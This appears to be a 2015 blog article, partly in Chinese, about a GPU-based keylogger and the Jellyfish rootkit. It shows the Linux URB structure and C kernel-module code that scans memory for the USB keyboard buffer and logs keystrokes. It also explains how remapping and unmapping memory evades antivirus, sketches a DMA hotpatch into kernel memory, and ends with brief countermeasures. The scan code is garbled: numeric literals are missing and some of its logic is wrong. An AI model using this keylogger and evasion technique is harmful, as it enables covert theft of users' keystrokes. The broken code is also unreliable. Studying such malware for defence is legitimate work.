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" alt="" />

0x4: Locating the Keyboard Buffer

In Linux, an attached USB device is represented by a USB Request Block (URB) structure, defined in the linux/usb.h header file of the Linux source tree.
\linux-2.6.32.63\include\linux\usb.h

struct urb
{
/* private: usb core and host controller only fields in the urb */
struct kref kref; /* reference count of the URB */
void *hcpriv; /* private data for host controller */
atomic_t use_count; /* concurrent submissions counter */
atomic_t reject; /* submissions will fail */
int unlinked; /* unlink error code */ /* public: documented fields in the urb that can be used by drivers */
struct list_head urb_list; /* list head for use by the urb's
* current owner */
struct list_head anchor_list; /* the URB may be anchored */
struct usb_anchor *anchor;
struct usb_device *dev; /* (in) pointer to associated device */
struct usb_host_endpoint *ep; /* (internal) pointer to endpoint */
unsigned int pipe; /* (in) pipe information */
int status; /* (return) non-ISO status */
unsigned int transfer_flags; /* (in) URB_SHORT_NOT_OK | ...*/
void *transfer_buffer; /* (in) associated data buffer */
dma_addr_t transfer_dma; /* (in) dma addr for transfer_buffer */
struct usb_sg_request *sg; /* (in) scatter gather buffer list */
int num_sgs; /* (in) number of entries in the sg list */
u32 transfer_buffer_length; /* (in) data buffer length */
u32 actual_length; /* (return) actual transfer length */
unsigned char *setup_packet; /* (in) setup packet (control only) */
dma_addr_t setup_dma; /* (in) dma addr for setup_packet */
int start_frame; /* (modify) start frame (ISO) */
int number_of_packets; /* (in) number of ISO packets */
int interval; /* (modify) transfer interval
* (INT/ISO) */
int error_count; /* (return) number of ISO errors */
void *context; /* (in) context for completion */
usb_complete_t complete; /* (in) completion routine */
struct usb_iso_packet_descriptor iso_frame_desc[];
/* (in) ISO ONLY */
};

For a USB keyboard device, in particular, the keyboard buffer is part of the URB structure, in the field transfer_buffer. Unfortunately, the memory offset where the URB structure is placed is different every time the system restarts.
To locate the exact offset of the keyboard buffer, we have to scan the whole memory sequentially. However, modern OSes, including Linux and Windows, do not allow users to accessphysical memory regions that have not been assigned to them. An access to a page that is not mapped to a process’ virtual address space is typically considered illegal, resulting in a segmentation fault.

To access the memory regions where the OS kernel and data structures reside, the memory scanning phase of the keylogger needs to run with administrative privileges
Linux offers the /dev/mem and /dev/kmem special files to allow a privileged user to access the physical memory and the kernel virtual memory, respectively.
For security reasons though, recent distributions disable them by default; access to the /dev/mem and /dev/kmem files is allowed only if the Linux kernel has been explicitly compiled without the option CONFIG_STRICT_DEVMEM=y

static int __init scan_start(void){
unsigned long long i; for(i = ; i < ULLONG_MAX; i += 0x10)
{
struct urb *urbp = (struct urb *)x(i);
if(((urbp->dev % 0x400) == ) && //we begin to search for pointers to USB device structures. Such pointers are memory-aligned to 0x400 boundaries
((urbp->transfer_dma % 0x20) == ) && //the corresponding transfer_dma fields are aligned to 0x20 boundaries
(urbp->transfer_buffer_length == ) && //the field transfer_buffer_length contains the appropriate length (8 bytes)
(urbp->transfer_buffer != NULL) &&
/*
the product field contains any of the substrings “usb” and “keyboard” (for wired USB keyboards),
or “usb” and receiver” (for wireless keyboard/mouse sets).
*/
strncmp(urbp->dev->product, "usb", ) &&
strncmp(urbp->dev->product, "keyboard", ))
{
// found possible keyboard buffer
char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
kbuf = urbp->transfer_buffer;
write_to_file(log, kbuf, sizeof(kbuf));
char* newline = "\n";
write_to_file(log, newline, sizeof(newline));
}
}

0x5: Capturing Keystrokes

. 键盘是USB外设的一种,Linux将键盘视为一种字符设备,每个USB外设都对应于内存中的一个struct urb实例
. 因为内存中的struct urb实例每次加载(键盘插拔)都会变动,因此借助/dev/mem、/dev/kmem内核接口文件,在超级用户权限下对物理内存进行遍历,找到"struct urb->transfer_buffer",即保存键盘击键缓存的内存地址
. 寻找键盘数据缓存内存地址采取了"特征匹配"的思路,即目标数据结构满足某些特征(内存地址对齐、字段值)
. NVIDIA CUDA devices和用户态GPU管理程序(host GPU controller process)共享一块内存,因此,如果要通过GPU读取键盘数据buffer,就需要将键盘数据buffer映射到用户态GPU管理程序(host GPU controller process)的虚拟内存空间中,这可以通过修改目标进程的页表来实现(需要借助LKM实现)
) 在初始化阶段,controller process调用mmap系统调用,申请了一大块内存
) 在完成键盘数据buffer的内核内存搜索之后,将mmap申请的这块内存重映射到键盘数据buffer所在的内存地址,这样,controller process(同时存在于GPU中的keylogger进程)就可以对键盘数据buffer进行监控,即GPU获取键盘buffer内存地址
) 在GPU对键盘buffer进行监控之后,controller process调用munmap,释放之前申请的内存,这样,controller process对键盘buffer的引用就会消失,以此来躲避基于"内存映射恶意映射检测"的入侵检测/杀软的检测
) 这里要理解的是,Rootkit这里通过修改进程的页表的唯一目的只是: 让GPU中的进程知道键盘buffer内存地址,获取地址后立即释放内存映射,之后的的内存读取全部通过DMA完成,不需要任何CPU交互
. Linux虚拟内存对物理内存提供了一层"保护视图",进程(即使是GPU中进程)不能任意读取整个物理内存,这对我们遍历扫描键盘缓存地址造成了困难,故采用DMA技术绕过这个限制
. GPU、GPU Memory就相当于另一套CPU、内存,只是大多数的入侵/恶意检测并不对GPU进行有效检测
. 全部工作完成后,GPU中的keylogger进程开始周期性(100ms)的对键盘buffer进行监控,捕获到的原始码被转化为ASCII字符,并临时保存在GPU内存中(显卡独有的内存)
. 在此之上,还可以利用GPU的并行计算能力,对捕获的击键数据进行实时分析处理,例如
) 提取关键字
) 正则匹配

0x6: COUNTERMEASURES(防御策略)

Current malware analysis and detection systems are tailored to CPU architectures only, and therefore are ineffective against GPU-based malware. Fortunately, however, malicious code that runs on a GPU can be identified in several ways. To properly identify GPU-based malware though, existing defenses need to be enhanced with new functionality for the analysis of GPU machine code

. GPU Code Analysis
NVIDIA recently released cuda-gdb and cuda-memcheck, two debugger tools for CUDA applications . Runtime Detection
A possible mechanism for the detection of GPU-assisted malware can be based on the observation of DMA side effects. DMA malware has DMA side effects that can be reliably measured.
加强对DMA访问的管控

Relevant Link:

http://www.cs.columbia.edu/~mikepo/papers/gpukeylogger.eurosec13.pdf
https://github.com/x0r1/Demon

5. DMA Hack

. 直接内存存取(DMA)是一种硬件机制,它允许外设组件来直接传输它们的 I/O 数据到和从主内存,而不需要包含系统处理器
. DMA是双向的,即数据流在外设和主内存之间双向流动
. 传统意义上说,内存的读写都要经过CPU的控制,到汇编这一层就是mov指令,但是DMA打破了这个规约
. 传统意义上说,CPU是计算机中唯一一个计算单元,但是GPU打破了这个规约
. 操作系统对输入输出的访问控制的"唯一路径"这个前提不再存在了,如果输入控制没做好,安全问题就就会伴随而来 . 使用DMA技术可以使用类似Linux .0实现的hotpatch技术
) 在外设(硬盘文件)中放置patchcode
) DMA可以让外设(硬盘文件)向主物理内存直接写入数据
) Hook DMA write function,使其写入目标地址重定向到Ring0需要Patch的内存地址
) 触发外设的DMA写入,让文件中的patchcode写入Ring0的指定地址
) 完成Hotpatch

Copyright (c) 2015 LittleHann All rights reserved

GPU keylogger && GPU Based rootkit(Jellyfish rootkit)的更多相关文章

  1. 『TensorFlow』分布式训练_其二_单机多GPU并行&GPU模式设定

    建议比对『MXNet』第七弹_多GPU并行程序设计 一.tensorflow GPU设置 GPU指定占用 gpu_options = tf.GPUOptions(per_process_gpu_mem ...

  2. Linux Rootkit Sample && Rootkit Defenser Analysis

    目录 . 引言 . LRK5 Rootkit . knark Rootkit . Suckit(super user control kit) . adore-ng . WNPS . Sample R ...

  3. [Attila GPU] ATTILA GPU Streamer Unit (D3D Input Assambler) 结构分析

    http://www.opengpu.org/forum.php?mod=viewthread&tid=40&highlight=Attila 查看: 7488|回复: 26    [ ...

  4. GPUtil是一个Python模块,使用nvidia-smi从NVIDA GPU获取GPU状态

    GPUtil是一个Python模块,使用nvidia-smi从NVIDA GPU获取GPU状态 一个Python模块,用于在Python中使用nvidia-smi以编程方式从NVIDA GPU获取GP ...

  5. Android studio GPU Monitor :GPU Profiling needs to be enabled in the device's developer options

    Android studio GPU Monitor 在真机上不能使用,提示:GPU Profiling needs to be enabled in the device's developer o ...

  6. tensorflow中使用指定的GPU及GPU显存 CUDA_VISIBLE_DEVICES

    参考: https://blog.csdn.net/jyli2_11/article/details/73331126 https://blog.csdn.net/cfarmerreally/arti ...

  7. (原)tensorflow中使用指定的GPU及GPU显存

    转载请注明出处: http://www.cnblogs.com/darkknightzh/p/6591923.html 参考网址: http://stackoverflow.com/questions ...

  8. Unity Profiler GPU Usage(GPU使用情况)

    一般情况下性能瓶颈都在CPU上,这儿也列举下几个常见的GPU耗时函数吧. 1 Render.Mesh 绘制网格面(没批处理的面) 2 Batch.DrawStatic 静态批处理 3 Batch.Dr ...

  9. tensorflow中使用指定的GPU及GPU显存

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 本文目录 1 终端执行程序时设置使用的GPU 2 python代码中设置使用的GPU 3 设置tensorflow使用的显 ...

随机推荐

  1. UML类图归纳

    作为一个程序员,掌握UML类图是开发和阅读程序的基础. 转载请注明地址http://www.cnblogs.com/zrtqsk/p/3739288.html,谢谢! 一.基本介绍 UML是一种标准的 ...

  2. 学习C++.Primer.Plus 7 函数

    C++的返回值类型不能是数组 函数原型中的变量名相当于点位符,因此不要求提供变量名. void cheers(int); C++中不指定参数列表时就使用活力号: void saybye(...); 通 ...

  3. mSites and Smarty

    目前的页面实现方式是需要向后台请求接口,返回 JSON 数据,动态拼接字符串塞进 DOM 中(innerHTML).考虑用 Smarty 生成静态页面,可以在后台用 PHP 得到数据,字符串拼接,然后 ...

  4. 如何把自己打造成技术圈的 papi 酱

    最近半年,一个叫papi酱的平胸女子连续在微博.朋友圈.创业圈刷屏,当之无愧成了中文互联网的第一大网红.呃,你以为我会巴拉巴拉说一堆网工创业的事?NO,今天想借papi酱的话题跟大家一起聊聊程序员如何 ...

  5. JSON返回DateTime/Date('123123123')/解决办法

    Date.prototype.format = function (format) //author: meizz    {        var o = {            "M+& ...

  6. 基于FPGA的通信信号源的设计

    通信信号源设计原理 通过设计一个DDS信号源,然后将该信号作为载波信号,再对基带信号进行2ASK.2FSK.2PSK.2DPSK调制,进而产生多种通信信号. 设计框图如下: 将PN序列进行2ASK.2 ...

  7. JAVA多线程(一)

    进程与线程: 一个进程可以包含多个线程.多个线程可以并行,但是一个时间点只能有一个线程是运行状态. 线程的状态: 查看API可以,线程的状态分为五种: (JVM里面的状态:These states a ...

  8. 【Alpha版本】冲刺阶段——Day 5

    我说的都队 031402304 陈燊 031402342 许玲玲 031402337 胡心颖 03140241 王婷婷 031402203 陈齐民 031402209 黄伟炜 031402233 郑扬 ...

  9. XML的总结学习

    XML 指可扩展标记语言(eXtensible Markup Language). XML 被设计用来传输和存储数据. HTML 被设计用来显示数据.  (一切都是为了数据:采集.整理.存储.传输.显 ...

  10. Ceph浅析”系列之四——Ceph的结构

    本文将从逻辑结构的角度对Ceph进行分析. Ceph系统的层次结构 Ceph存储系统的逻辑层次结构如下图所示[1]. Ceph系统逻辑层次结构 自下向上,可以将Ceph系统分为四个层次: (1)基础存 ...